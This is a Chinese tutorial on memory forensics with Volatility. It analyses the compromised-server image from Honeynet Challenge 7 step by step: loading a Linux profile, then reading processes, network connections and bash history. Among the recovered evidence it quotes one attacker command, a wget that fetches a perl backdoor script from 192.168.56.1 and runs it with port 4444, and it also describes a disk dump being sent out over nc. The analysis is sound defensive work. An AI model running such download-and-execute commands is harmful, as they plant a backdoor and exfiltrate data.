来源:360
转自:鹏越网络空间安全研究院
作者:beswing
前言
这几天和麦香表哥一直在玩取证的事情,我也好好学习了Volatility这个神器,一个开源的Windows,Linux,MaC,Android的内存取证分析工具,由python编写成,命令行操作,支持各种操作系统。
Volatility的安装
这次讲的是在linux下的取证,所以我安装的也是linux平台下的Volatility。在https://code.google.com/archive/p/volatility/下载源代码,或者使用我分享的源码,http://pan.baidu.com/s/1o8JOQV4版本是2.6linux下可以直接使用。如图:
图(一)
另外,Kali自带了Volatility,volatility在“应用程序”-“KaliLinux”-“数字取证中。
Volatility的实战分析
了解常用命令
从图一中,我们知道,我们可以通过pythonvol.py-h查看帮助,获取常用的命令。例如
查看插件、地址空间、以及Profiles
基本操作
加载镜像,以及加载相应的profile加载插件。
需要特别说明的是,windows系统的profiles相当齐全,但是linux下的profile就得自己制作了,相应的制作方法,我们可以在https://code.google.com/p/volatility/wiki/LinuxMemoryForensics看到,或者我们可以在https://github.com/KDPryor/LinuxVolProfiles](https://github.com/KDPryor/LinuxVolProfiles看到相应linux发行版本,以及相应系统内核的profile。
实战
我们在这里即将分析的镜像是Challenge7oftheForensicChallenge2011-ForensicAnalysisofaCompromisedServer的题目,我们可以在https://www.honeynet.org/challenges/2011_7_compromised_server这下载到相应的镜像文件。
第一步分析镜像文件
分析镜像文件,我们可以通过挂载的方式,来确定镜像的系统的版本,我们才可以制作相应的profile,或者搜索相应的profile。
我们先挂载镜像mount-oloopvictoria-v8.sda1.img/mnt将镜像挂载到/mnt。
切换到/mnt目录[email protected]:~/Desktop/volatility-master#cd/mnt
我们可以看到相应的系统文件。
查看系统版本
我们可以看到,镜像系统版本是Debian发行版5.0
在var/log目录下,
我们可以获取相应的linux版本信息,如图,我们知道,系统内核版本是2.6.26。
PS:dmesg用来显示开机信息,kernel会将开机信息存储在ringbuffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。
第二步获取相应profile
我们有两种方法获取profile。
第一,我们可以创建我们自己的profile。
Volatility自带一些windows系统的profile,Linux系统的Profile需要自己制作,制作的方法如下:
(实际是将module.dwarf和system.map打包成一个zip文件,接着将zip文件移动到volatility/plugins/overlays/linux/中。)
Linux的Profile文件是一个zip的压缩包。
第二,我们可以利用搜索引擎或者已公开的profile,例如,我们就可以看到一些已经公布的profile。
我这里使用的是第二种方法,在公开的项目中找到了Debian5.0的profile
紧接着,我们需要将profile放入对应的位置
即放入目录volatility/plugins/overlays/linux中。
然后,我们可以通过pythonvol.py--info来查看是否真的加载profile了。
我们可以看到profiles中已经能看到LinuxDebian5010x86了,这是我们压缩包的名字。
第三步开始分析文件
pythonvol.py-f./victoria-v8.memdump.img--profile=LinuxDebian5010x86-h
可以看到针对linux镜像的命令,以及相应功能介绍。
通过
pythonvol.py-f./victoria-v8.memdump.img--profile=LinuxDebian5010x86linux_psaux
我们可以查看进程。
我们可以发现一个可疑的nc连接。连接到192.168.56.1端口是8888
pythonvol.py-f./victoria-v8.memdump.img--profile=LinuxDebian5010x86linux_netstat
我们可以查看各种网络相关信息,如网络连接,路由表,接口状态等。
我们可以看到与292.168.56.1相关的网络连接情况,一个是4444端口,一个是8888端口,
pythonvol.py-f./victoria-v8.memdump.img--profile=LinuxDebian5010x86linux_bash
我们可以查看bash的历史记录
我们看到,通过scp命令复制了exim4目录下的所有文件,另外,我们在/mnt/var/log/exim4目录下的Eximrejectlog中看到,
两条命令,似乎从192.168.56.1下载了东西。
攻击者已经下载了两个文件c.pl和rk.tar,都在/tmp中。
c.pl的简单分析表明,它是一个perl脚本,用于创建一个c程序,该程序编译给支持SUID的可执行文件
打开一个后门并向攻击者发送信息。
c.pl被下载,并且编译的SUID在端口4444中打开了一个到192.168.56.1的连接,如下所示:
wgethttp://192.168.56.1/c.pl-O/tmp/c.pl;perl/tmp/c.pl192.168.56.14444
以及,在pythonvol.py-f./victoria-v8.memdump.img--profile=LinuxDebian5010x86linux_bash,我们还看到了攻击者一个奇怪的操作。
攻击者将/dev/sda1整个dump下来,并通过8888端口发送了出去。
Eximreject日志显示IP192.168.56.101作为要发送邮件的主机:
abcde.com,owned.org和h0n3yn3t-pr0j3ct.com
攻击者可能只是一个脚本小子,利用已有的cve 公布了的exp 进入到了系统并没有成功登录账户其次通过分析,我们可以知道攻击的发起以及结束并且我们了解到攻击者简单尝试了登录账户32次后就放弃了。